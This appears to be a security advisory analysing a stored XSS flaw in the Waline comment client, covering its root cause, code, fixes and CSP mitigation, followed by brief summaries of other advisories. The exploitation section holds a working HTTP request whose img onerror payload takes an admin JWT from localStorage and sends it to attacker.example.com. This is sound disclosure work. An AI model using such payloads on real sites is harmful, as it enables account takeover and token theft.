Nov 25, 2026·8 min read·4 visits
Unauthenticated attackers can post malicious comments containing inline event handlers (such as <img src=x onerror=...>). Although sanitized for regular public viewing on the server side, the raw comment body is returned when an administrator clicks 'Edit'. The @waline/client component parses this raw body without sanitization and mounts it into a hidden preview DOM container, automatically executing the payload and allowing attackers to exfiltrate administrative JWTs from localStorage.
A stored cross-site scripting (XSS) vulnerability in @waline/client allows unauthenticated attackers to execute arbitrary JavaScript in the context of an administrator's browser session. The flaw exists because the client-side markdown preview renderer utilizes the marked library without HTML sanitization and injects the resulting output directly into the DOM via Vue's v-html directive. When an administrator opens the edit interface for a comment, the preview element is mounted and evaluated immediately due to the combination of watchImmediate and v-show, leading to automatic payload execution and administrative token compromise.
Waline is a modular comment system separated into backend server components (@waline/server) and frontend client components (@waline/client). The client library renders the interactive comment interface, including a live markdown editor and administrative moderation tools such as inline comment editing.
CVE-2026-64670 (tracked as GHSA-crj3-q72p-ggqm) is a stored cross-site scripting (CWE-79) vulnerability affecting @waline/client in versions up to 3.15.2 (with extended repository tracking indicating exposure through 3.16.2). The vulnerability occurs within the client-side markdown rendering pipeline used by the comment editor's preview functionality.
When a comment is submitted to @waline/server, the server stores both a sanitized HTML version for public display and the unmodified raw string in the database field orig. Consequently, standard site visitors viewing rendered comments are protected by server-side sanitization. However, when a user or administrator initiates an edit action on an existing comment, the server transmits the raw orig field back to @waline/client to populate the editor input.
The @waline/client package processes the raw editor input through the marked library to generate a live preview and injects the resulting string directly into the DOM using Vue's v-html directive without client-side sanitization. Because the preview container is bound using v-show rather than v-if, the unverified HTML is attached to the live DOM immediately upon clicking the Edit button, resulting in arbitrary JavaScript execution within the moderator's browser origin.
The root cause of CVE-2026-64670 is an asymmetry between server-side and client-side HTML sanitization combined with immediate DOM attachment of hidden preview elements in Vue.js. On the backend (packages/server/src/controller/comment.js), @waline/server preserves the raw user submission in comment.orig at line 41 while sanitizing the public display output with markdown-it and DOMPurify at line 55.
When an authorized user clicks Edit on a comment card (CommentCard.vue:104), CommentBox.vue mounts and receives the comment data via props. During the onMounted lifecycle hook, the component seeds the reactive editor.value state directly from props.edit.orig. It immediately registers a synchronous watcher using watchImmediate, which passes editor.value to the parseMarkdown utility function.
In packages/client/src/utils/markdown.ts, parseMarkdown converts emoji shortcodes and passes the text to marked.parse(). Unlike the server package, @waline/client does not bundle or invoke DOMPurify. The marked library conforms to the Markdown specification, which permits raw inline HTML tags to pass through unaltered.
The raw HTML output is assigned to previewText.value and bound to <div class="wl-content" v-html="previewText" /> inside a parent container controlled by v-show="showPreview". In Vue, v-show always renders the element and attaches it to the document tree, toggling only the CSS display: none property when the condition is false. Browser rendering engines parse and execute DOM events on elements attached to the document regardless of their CSS visibility state, causing payloads like <img src=x onerror=...> to trigger as soon as the edit interface opens.
A code-level examination across @waline/server and @waline/client illustrates how the unsanitized input flows from storage into the administrative DOM.
In packages/server/src/controller/comment.js, the backend stores the raw payload before running server-side sanitization:
// packages/server/src/controller/comment.js
// Line 41: Preserves raw user input in the 'orig' field
comment.orig = comment.comment;
// Line 55: Sanitizes the public-facing display output via DOMPurify
// Public readers only receive this sanitized representationOn the client side, packages/client/src/utils/markdown.ts (lines 18-37) defines the markdown parser without output encoding or sanitization:
// packages/client/src/utils/markdown.ts
// VULNERABLE: marked.parse returns raw HTML including inline event handlers
return marked.parse(parseEmoji(content, emojiMap)) as string;In packages/client/src/components/CommentBox.vue, the component initializes the edit state and binds the rendered preview directly into the DOM:
// packages/client/src/components/CommentBox.vue
onMounted(() => {
// Line 509: Seeds the editor state with the raw, unsanitized comment body
if (props.edit?.objectId) editor.value = props.edit.orig;
// Line 519: Synchronously invokes callback on mount
watchImmediate(() => editor.value, (value) => {
previewText.value = parseMarkdown(value, { ... });
});
});<!-- packages/client/src/components/CommentBox.vue -->
<!-- Line 616: v-show mounts the element into the DOM with display: none -->
<div v-show="showPreview" class="wl-preview">
<!-- Line 621: v-html injects unsanitized HTML directly into the live node -->
<div class="wl-content" v-html="previewText" />
</div>To remediate this flaw completely, two code-level changes are required. First, packages/client/src/utils/markdown.ts must sanitize the output of marked.parse using DOMPurify prior to returning the string:
// Remediated packages/client/src/utils/markdown.ts
import DOMPurify from 'dompurify';
export const parseMarkdown = (content: string, options: MarkdownOptions): string => {
const rawHtml = marked.parse(parseEmoji(content, options.emojiMap)) as string;
// Sanitize HTML output to strip dangerous tags and event attributes
return DOMPurify.sanitize(rawHtml, {
FORBID_TAGS: ['form', 'input', 'style'],
FORBID_ATTR: ['autoplay', 'style']
});
};Second, CommentBox.vue should replace v-show with v-if on the .wl-preview container so the preview DOM node is not created unless the user explicitly activates the preview tab:
<!-- Remediated packages/client/src/components/CommentBox.vue -->
<div v-if="showPreview" class="wl-preview">
<div class="wl-content" v-html="previewText" />
</div>> [!NOTE]
> Replacing v-show with v-if alone is an incomplete fix because an administrator who manually clicks the "Preview" tab while editing a comment would still trigger the payload. Client-side sanitization via DOMPurify is mandatory to neutralize the injection sink.
Exploitation requires no authentication or elevated privileges from the attacker. Any Waline instance that permits anonymous or standard registered user comments and allows administrators to edit comments via the @waline/client frontend is vulnerable.
The attack begins when an unauthenticated adversary submits a comment via POST /api/comment containing an HTML tag with an inline JavaScript event handler. Note that <script> tags injected via innerHTML (which Vue's v-html uses under the hood) are not executed by modern browsers per the HTML5 specification. Therefore, attackers use event-driven elements such as <img>, <svg>, or <details>.
POST /api/comment HTTP/1.1
Host: target-waline-instance.example.com
Content-Type: application/json
{
"url": "/blog-post-1",
"nick": "reviewer",
"comment": "<img src=x onerror=\"fetch('https://attacker.example.com/steal?token=' + encodeURIComponent(JSON.parse(localStorage.getItem('WALINE_USER')).token))\">"
}Once the comment is accepted by the server, it appears normal or blank to regular visitors because the server's public output filter strips the onerror attribute. The payload remains dormant in the database's orig column until a moderator or administrator logs into the frontend and reviews comments.
When the administrator clicks the Edit button on the malicious comment card (CommentCard.vue:104), CommentBox.vue mounts. The hidden .wl-preview <div> is attached to the DOM containing the <img src=x onerror=...> node. The browser immediately attempts to resolve the image source x, fails, and fires the onerror handler in the context of the administrator's session. The payload reads localStorage.getItem('WALINE_USER'), parses the JSON object to extract the administrative bearer token, and exfiltrates it to the attacker-controlled endpoint.
CVE-2026-64670 is rated 9.3 (Critical) under CVSS v3.1 (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N). The Attack Vector is Network (AV:N) with Low Attack Complexity (AC:L) and No Privileges Required (PR:N), reflecting that any anonymous internet user can submit the exploit payload to a public comment thread.
User Interaction is Required (UI:R) because an administrator or moderator must click the Edit button on the comment. However, because the payload fires without the administrator needing to toggle the preview pane, routine moderation actions reliably trigger execution. The Scope is Changed (S:C), as the vulnerable web application executes attacker-controlled script within the security boundary of the client browser.
Both Confidentiality (C:H) and Integrity (I:H) impacts are High. Waline stores session credentials, including the administrative JSON Web Token (JWT), in browser localStorage under the key WALINE_USER (accessible via JavaScript without HttpOnly cookie protections). Once exfiltrated, the attacker can authenticate directly to @waline/server administrative API endpoints to modify or delete all comments, view commenter IP addresses and email addresses, alter user roles, or impersonate the administrator across the platform.
Administrators and developers utilizing @waline/client or bundled distributions such as @waline/vercel should apply defense-in-depth measures to neutralize the client-side XSS sink.
If maintaining a custom build or patching @waline/client, integrate dompurify into packages/client/src/utils/markdown.ts so that all HTML produced by marked.parse() is sanitized before being bound to v-html. Additionally, update packages/client/src/components/CommentBox.vue at line 616 to use v-if="showPreview" instead of v-show="showPreview" so preview DOM elements are not mounted until requested.
On the backend (@waline/server), review the formatCmt method and ensure that untrusted HTML tags in the orig property are either sanitized or entity-encoded before being returned to client edit interfaces, unless raw HTML editing is explicitly required and protected on the client.
For deployments where immediate package updates cannot be applied, enforce a strict HTTP Content-Security-Policy header on the host site embedding @waline/client:
Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none'; connect-src 'self' https://your-waline-api.example.com;Omitting 'unsafe-inline' from script-src instructs the browser to block the execution of inline event handlers such as onerror and onload. Restricting connect-src and img-src to trusted origins further prevents exfiltration of localStorage tokens to external attacker servers.
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N| Product | Affected Versions | Fixed Version |
|---|---|---|
@waline/client walinejs | <= 3.15.2 (extended advisory tracking <= 3.16.2) | - |
@waline/vercel walinejs | 1.31.9 - 1.31.12, 1.36.1, 1.40.0 - 1.40.1 | - |
| Attribute | Detail |
|---|---|
| Vulnerability Type | Stored Cross-Site Scripting (CWE-79 / CWE-116) |
| CVSS v3.1 Score | 9.3 Critical (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N) |
| Affected Component | @waline/client (CommentBox.vue and utils/markdown.ts) |
| Attack Vector | Unauthenticated HTTP POST to /api/comment triggered on admin Edit |
| EPSS Score | 0.38% (24.25th percentile) |
| Exploit Status | Public Proof-of-Concept Available (GHSA-crj3-q72p-ggqm) |
| CISA KEV Status | Not Listed |
| Primary Impact | Administrative Account Takeover via localStorage JWT Exfiltration |
The software does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.
WWBN AVideo versions through 29.0 contain an OS command injection vulnerability (CWE-78) in the standalone API utility function listFFmpegProcesses(). The function constructs a shell pipeline to monitor active FFmpeg processes by interpolating a user-controlled keyword parameter directly into a single-quoted grep argument without sanitization or shell escaping. An attacker capable of crafting or submitting a valid encrypted codeToExec payload can break out of the single-quoted argument context and execute arbitrary operating system commands with the privileges of the web server user.
Ruflo versions prior to 3.16.3 expose the Model Context Protocol (MCP) bridge HTTP endpoints (`POST /mcp` and `POST /mcp/:group`) on all network interfaces (`0.0.0.0:3001`) without authentication. Because the primary JSON-RPC tool dispatcher (`executeTool()`) bypasses existing tool blocklists, an unauthenticated network attacker can invoke the `terminal_execute` tool to achieve arbitrary command execution inside the bridge container. This initial access permits full exfiltration of third-party LLM provider API keys, unauthorized access to the co-located MongoDB instance, and manipulation of the AgentDB learning store.
In etcd versions prior to 3.5.32 and 3.6.13, configuring the server with --listen-client-http-urls decouples HTTP and gRPC traffic onto distinct network listeners. Due to an implementation flaw in how TLS configurations are passed to the gRPC server instance, the Certificate Revocation List (CRL) defined by --client-crl-file is enforced exclusively on the HTTP listener and omitted entirely on the dedicated gRPC listener. This allows an adversary possessing a revoked, CA-signed client certificate to bypass mutual TLS (mTLS) revocation checks and authenticate directly to the gRPC interface.
GitHub CLI (gh) versions 2.10.0 through 2.95.0 contain an input validation vulnerability in the `gh codespace jupyter` command path. When connecting to a remote Codespace to launch a JupyterLab session, the CLI retrieves a server URL via a remote procedure call (RPC) and passes it directly to the host operating system's default URL dispatcher without validating the scheme or target host. A compromised or malicious Codespace can return a custom protocol URI, such as `vscode://` or `vscode-insiders://`, allowing an attacker to invoke local desktop application handlers and achieve arbitrary command execution on the developer's workstation.
A path traversal vulnerability exists in the cakephp/twig-view plugin for the CakePHP framework prior to versions 1.3.3 and 2.1.2. The Cake\TwigView\Twig\FileLoader::findTemplate() method verifies template existence using PHP's native file_exists() function without ensuring the target path resides within configured application or plugin template directories. When user-controlled input is passed to template inclusion mechanisms, an unauthenticated remote attacker can read arbitrary local files accessible to the PHP runtime.
CVE-2026-64855 (GHSA-859w-52fx-hcm6) is a cryptographic signature verification and authentication bypass vulnerability in the soapbar Python library prior to version 0.13.0. In vulnerable versions, the verify_envelope_bsp() function derives its trust anchor directly from the incoming SOAP message by extracting an untrusted X.509 certificate embedded inside the wsse:BinarySecurityToken header. Because the function checks only the temporal validity of the extracted certificate without performing Certificate Authority (CA) chain validation or certificate pinning, an unauthenticated network attacker can generate a self-signed certificate, sign an arbitrary SOAP payload, and pass verification.